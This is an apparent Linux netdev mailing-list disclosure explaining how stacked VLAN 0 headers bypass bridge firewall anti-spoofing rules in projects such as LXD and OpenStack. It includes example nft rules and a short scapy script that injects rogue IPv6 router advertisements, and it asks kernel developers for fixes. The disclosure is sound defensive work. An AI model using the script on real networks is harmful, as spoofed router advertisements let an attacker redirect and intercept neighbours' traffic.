Netdev Archive on lore.kernel.org
help / color / mirror / Atom feed
* bridge firewall "bypass" using VLAN 0 stacking
@ 2020-08-20 15:17 Etienne Champetier
  0 siblings, 0 replies; only message in thread
From: Etienne Champetier @ 2020-08-20 15:17 UTC (permalink / raw)
  To: netdev, netfilter-devel

Hello Linux network folks,

On the input path, the kernel will remove any number of VLAN 0 headers
(priority tagging)
On the bridge firewalling path (iptables filter FORWARD or nftable
bridge table),
the kernel only looks at the current layer, except with
bridge-nf-filter-vlan-tagged=1 where it goes 1 layer deep.

This difference in behaviour makes any project using bridge
firewalling possibly vulnerable.

This was fixed in LXD via
https://github.com/lxc/lxd/commit/7599ff5834c4e0fedb3870a35ff457d342b2d1d8
Openstack Team just made their issue public:
https://bugs.launchpad.net/neutron/+bug/1884341

I haven't checked much more projects (libvirt has good rules but not
enabled by default), but I'm wondering if the current Linux behaviour
could be improved to be less surprising.

If we take the example of LXD (before the fix), enabling anti spoofing options
(security.ipv*_filtering) gives the following nft rules:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
table bridge lxd {
    chain in.u1.eth0 {
        type filter hook input priority filter; policy accept;
        iifname "vethececeb08" ether saddr != 00:16:3e:14:12:03 drop
        iifname "vethececeb08" arp saddr ether != 00:16:3e:14:12:03 drop
        iifname "vethececeb08" icmpv6 type nd-neighbor-advert
@nh,528,48 != 95530783235 drop
        iifname "vethececeb08" arp saddr ip != 10.242.217.2 drop
        iifname "vethececeb08" ip saddr 0.0.0.0 ip daddr
255.255.255.255 udp dport 67 accept
        iifname "vethececeb08" ip saddr != 10.242.217.2 drop
        iifname "vethececeb08" ip6 saddr fe80::/10 ip6 daddr ff02::1:2
udp dport 547 accept
        iifname "vethececeb08" ip6 saddr fe80::/10 ip6 daddr ff02::2
icmpv6 type nd-router-solicit accept
        iifname "vethececeb08" icmpv6 type nd-neighbor-advert
@nh,384,128 != 336637795894033326396171405568628756995 drop
        iifname "vethececeb08" ip6 saddr !=
fd42:14c6:68bf:9774:216:3eff:fe14:1203 drop
        iifname "vethececeb08" icmpv6 type nd-router-advert drop
    }

    chain fwd.u1.eth0 {
        type filter hook forward priority filter; policy accept;
        iifname "vethececeb08" ether saddr != 00:16:3e:14:12:03 drop
        iifname "vethececeb08" arp saddr ether != 00:16:3e:14:12:03 drop
        iifname "vethececeb08" icmpv6 type nd-neighbor-advert
@nh,528,48 != 95530783235 drop
        iifname "vethececeb08" arp saddr ip != 10.242.217.2 drop
        iifname "vethececeb08" ip saddr != 10.242.217.2 drop
        iifname "vethececeb08" ip6 saddr !=
fd42:14c6:68bf:9774:216:3eff:fe14:1203 drop
        iifname "vethececeb08" icmpv6 type nd-neighbor-advert
@nh,384,128 != 336637795894033326396171405568628756995 drop
        iifname "vethececeb08" icmpv6 type nd-router-advert drop
    }
...
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Some (many) people expect those rules to prevent ARP/IPv4/IPv6
spoofing, but they don't protect either the host or the Linux
neighbours.

Here is a simple scapy script to send router advertisements
encapsulated in 2 VLAN 0 headers. This will bypass all those rules but
be accepted:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ra  = Ether()/Dot1Q(vlan=0)/Dot1Q(vlan=0)
ra /= IPv6(dst='ff02::1')
ra /= ICMPv6ND_RA(chlim=64, prf='High', routerlifetime=1800)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr('eth0'))
ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64,
validlifetime=1810, preferredlifetime=1800)
sendp(ra)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(this also works with 'Dot1AD(vlan=0)')

Some server NICs (at least Cisco UCS) use priority tagging by default
so just dropping VLAN 0 traffic is not an option, but here are some
questions / thoughts:

- should the input path drop packets with stacked VLAN 0 ?

- should there be a sysctl to not remove VLAN 0 on the input path ?
VLAN 0 stacking might allow to bypass anti spoofing / DHCP & NDP guard
on some switches in some configuration,
If your network doesn't use priority tagging there is no reason to
accept such traffic.

- should the bridge path have the same behaviour as the input path and
"remove" all the VLAN 0 headers by default ? (that would fix all
projects using bridge firewalling at once)

- are there any other headers that are automatically removed on the
input path that would allow a similar "bypass" ?

Best
Etienne Champetier

^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2020-08-20 15:18 UTC | newest]

Thread overview: (only message) (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2020-08-20 15:17 bridge firewall "bypass" using VLAN 0 stacking Etienne Champetier

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).